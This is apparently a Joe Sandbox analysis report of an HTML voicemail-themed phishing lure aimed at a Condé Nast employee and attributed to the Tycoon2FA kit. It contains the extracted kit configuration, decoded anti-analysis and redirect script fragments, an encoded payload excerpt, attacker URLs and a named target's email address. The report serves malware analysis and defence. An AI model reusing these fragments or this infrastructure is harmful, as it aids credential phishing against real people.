Create Interactive Tour

Windows Analysis Report
Recorded_VM Condenast .html

Overview

General Information

Sample name:	Recorded_VM Condenast .html
Analysis ID:	1650162
MD5:	70288e07fac86d65f4c79870b0437c81
SHA1:	ed7736d3823d3d6f5a4b4b698ed5ff7b34ce4729
SHA256:	118a6200cc808822afac0cfa40ffe806ff866dd155b97d40bb99732ef325740d
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

HTML file submission requesting Cloudflare captcha challenge

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML IFrame injector detected

HTML Script injector detected

HTML file submission containing password form

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 4056 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2288,i,10289072951988643527,3271450797325546856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2320 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6372 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\Recorded_VM Condenast .html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "g2Ci",
  "emailcheck": "sabine.hutchinson@condenast.co.uk",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/kc4lnUhhomVzz4Uksi9DpLs0HwxLp7owkkKLz9MyaqCqA57sfWtb"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_93	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
dropped/chromecache_116	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
0.25..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.8.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.21.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
0.10.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.2.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.2.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.13.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.15..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.15..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.3.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.3.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.16..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.16..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.9..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.22..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.8.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.8.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.8.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.4.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.4.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.7.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.7.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 20 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Data Obfuscation
• Malware Analysis System Evasion
• Stealing of Sensitive Information

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://mgdm.icemiceop.ru/ij3u6hDRiM4IlvLE2P1793sUu3Xf2UgIdkLkAKyz3jW2TrwXXvSmu78163	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/opEDbSKXCHNsUe91Ah7TPDESVMvn1eV9I4TXuvDwUYoAguoUAPLxi5vnQUNw0wY7zXsHKPrcd240	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/uvQYGanMSL6x6xGfaA7GVzRGFyT8fL12igb8xQh80O675vzL55zcI5LppatVproscZ9uDR02JOo1yFc2JONOef260	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/mxkBWWeN9hECFQlpLe9bnBz2	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/klKDnQ2cBVKpBOD3UT55CmTRD2kl7GME9yjtxLdHQoGGvGFwx220	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/kc4lnUhhomVzz4Uksi9DpLs0HwxLp7owkkKLz9MyaqCqA57sfWtb	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/wxq6cHzKIYoNgm2Bopw50D84rw9YmbWJ12124	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/op8RaX2g4vcLuiH9DxNBazjBGxeN3ULgBmnKf30Bt3h7x2dFy1A445136	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/GDSherpa-regular.woff2	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/mnbEcC7ECt38mpevtEuvdHTkAyME6DicWgTYuvlpOA78150	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZY	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/wxA2O4wWdc8x8qq1ECSnjoUacanmn82arB0sl7MBzz12qpR190178	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/34nRRf3Gdt4CBxyHHh6720	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/GDSherpa-vf2.woff2	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/GDSherpa-regular.woff	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/xy5ySUVfUFn8DeLTnPKM81kxOjq4Yud8ulXg4K6GwreoxBOxBeKC3fq	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/GDSherpa-vf.woff2	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/GDSherpa-bold.woff2	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/abyXBPharsydcd30	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/348FhUrqA8nqafPBtcG7sdZXsaUghmKlAILBKX67110	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/ghrACQ3TWSEprKOauvXE1jyI7XUA4ATVlHcd650	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/ijV8ixSgRCDBCx0UvMM6wWp9GMw7hmnNB4TUnoqjqQXIi8wxZKDmZMef210	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/GDSherpa-bold.woff	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/opoPtatGvuPGo2tQ9oraGIAl0YuvkECYuwb7BHQecLnZQvYtjFdBhacd192	Avira URL Cloud: Label: malware
Source: https://mgdm.icemiceop.ru/ZwM7s15/	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.21.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "g2Ci", "emailcheck": "sabine.hutchinson@condenast.co.uk", "webname": "rtrim(/web9/, '/')", "urlo": "/kc4lnUhhomVzz4Uksi9DpLs0HwxLp7owkkKLz9MyaqCqA57sfWtb"}

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 0.8.pages.csv, type: HTML
Source: Yara match	File source: 0.7.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.4.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.25..script.csv, type: HTML
Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 0.9..script.csv, type: HTML
Source: Yara match	File source: 0.22..script.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.4.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_93, type: DROPPED
Source: Yara match	File source: dropped/chromecache_116, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 0.21.d.script.csv, type: HTML
Source: Yara match	File source: 0.8.d.script.csv, type: HTML
Source: Yara match	File source: 0.10.d.script.csv, type: HTML
Source: Yara match	File source: 0.13.d.script.csv, type: HTML
Source: Yara match	File source: 0.15..script.csv, type: HTML
Source: Yara match	File source: 0.3.d.script.csv, type: HTML
Source: Yara match	File source: 0.16..script.csv, type: HTML
Source: Yara match	File source: 0.8.pages.csv, type: HTML
Source: Yara match	File source: 0.7.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.4..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://mgdm.icemiceop.ru/ZwM7s15/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code and URLs. The script appears to be attempting to execute a malicious payload by decoding and executing a heavily encoded string, which is a clear indicator of malicious intent. Additionally, the script interacts with an untrusted domain, further increasing the risk. Overall, this script exhibits a high level of suspicious and potentially harmful behavior, warranting a high-risk score.
Source: 0.16..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to detect the presence of web automation tools, redirects to a blank page, and intercepts keyboard and context menu events to potentially prevent user interaction. Additionally, it includes a function that performs a time-based check and redirects the user to an external website. These behaviors are highly suspicious and indicate a potentially malicious intent, warranting a high-risk score.
Source: 0.15..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It checks for the presence of web automation tools, redirects to a blank page, and intercepts various keyboard and clipboard events to prevent user interaction. Additionally, it includes an interval function that triggers a debugger and redirects the user to an external website after a certain time delay. These behaviors are highly suspicious and indicate potential malicious intent, warranting a high-risk score.
Source: 0.9..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://mgdm.icemiceop.ru/ZwM7s15/... This script demonstrates high-risk behavior with the use of the `eval` function to execute dynamic code. The obfuscated string is decoded and then evaluated, which can lead to remote code execution and potential security vulnerabilities. Additionally, the script uses a `Proxy` object to intercept property access, further increasing the risk of malicious behavior. Overall, this script exhibits a high level of risk and should be thoroughly reviewed and tested before deployment.
Source: 0.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://mgdm.icemiceop.ru/ZwM7s15/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code and the presence of a debugger statement further increase the risk. Overall, this script exhibits a high level of malicious intent and should be considered a significant security threat.

Detected javascript redirector / loader

Source: Recorded_VM Condenast .html

HTTP Parser: Low number of body elements: 1

HTML IFrame injector detected

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk

HTTP Parser: New IFrame, src: https://mGDM.icemiceop.ru/ZwM7s15/#$vsabine.hutchinson@condenast.co.uk

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: New script, src: https://code.jquery.com/jquery-3.6.0.min.js
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: New script tag found

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function MxyfWCarJE(event) { co...

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk

HTTP Parser: Title: Voice Mail does not match URL

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: Invalid link: Privacy & cookies
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: Invalid link: Privacy & cookies

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "g2ci";var emailcheck = "sabine.hutchinson@condenast.co.uk";var webname = "rtrim(/web9/, '/')";var urlo = "/kc4lnuhhomvzz4uksi9dpls0hwxlp7owkkklz9myaqcqa57sfwtb";var gdf = "/ij17r37sk3sibtu5vjkpaxviyruvp4h2hqhfiumpq7mibcd120";var odf = "/ghracq3twseprkoauvxe1jyi7xua4atvlhcd650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(...
Source: https://mgdm.icemiceop.ru/ZwM7s15/	HTTP Parser: function jqqebajrrq(){cgfgfwfywv = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+vgvjacbtb2x1dglvbnmglsbjbm5vdmf0aw5nihrozsbgdxr1cmu8l3rpdgxlpgogidxzdhlszt4kicagigjvzhkgewogicagicbmb250lwzhbwlsetogqxjpywwsihnhbnmtc2vyawy7ciagicagigxpbmutagvpz2h0oiaxljy7ciagicagig1hcmdpbjogmdskicagicagcgfkzgluzzogmdskicagicagymfja2dyb3vuzc1jb2xvcjogi2y0zjrmndskicagicagy29sb3i6icmzmzm7ciagicb9ciagicbozwfkzxigewogicagicbiywnrz3jvdw5koiajmda1ytllowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzogmjbwecawowogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogmi41cmvtowogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogizmzmzskicagicagy29sb3i6icnmzmy7ciagicagihbhzgrpbmc6idewchg7ciagicagihrlehqtywxpz246ignlbnrlcjskicagih0kicagig5hdibhihskicagicagy29sb3i6icnmzmy7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagbwfyz2luoiawide1chg7c...

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk

HTTP Parser: <input type="password" .../> found

Source: Recorded_VM Condenast .html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.65.228:443 -> 192.168.2.9:49690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.9:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.9:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.9:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.9:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.9:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.196.11:443 -> 192.168.2.9:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.165:443 -> 192.168.2.9:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.9:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.112.4:443 -> 192.168.2.9:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.9:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.9:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.9:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.44.201.164:443 -> 192.168.2.9:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.96:443 -> 192.168.2.9:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.9:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.9:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.9:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.9:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.9:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.160.100:443 -> 192.168.2.9:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.9:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.134:443 -> 192.168.2.9:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.85.61.3:443 -> 192.168.2.9:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.85.61.72:443 -> 192.168.2.9:49790 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 140.82.112.4 140.82.112.4
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 104.26.1.100 104.26.1.100
Source: Joe Sandbox View	IP Address: 104.21.92.165 104.21.92.165

Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.73.143
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.73.143
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.227
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.227
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ZwM7s15/ HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
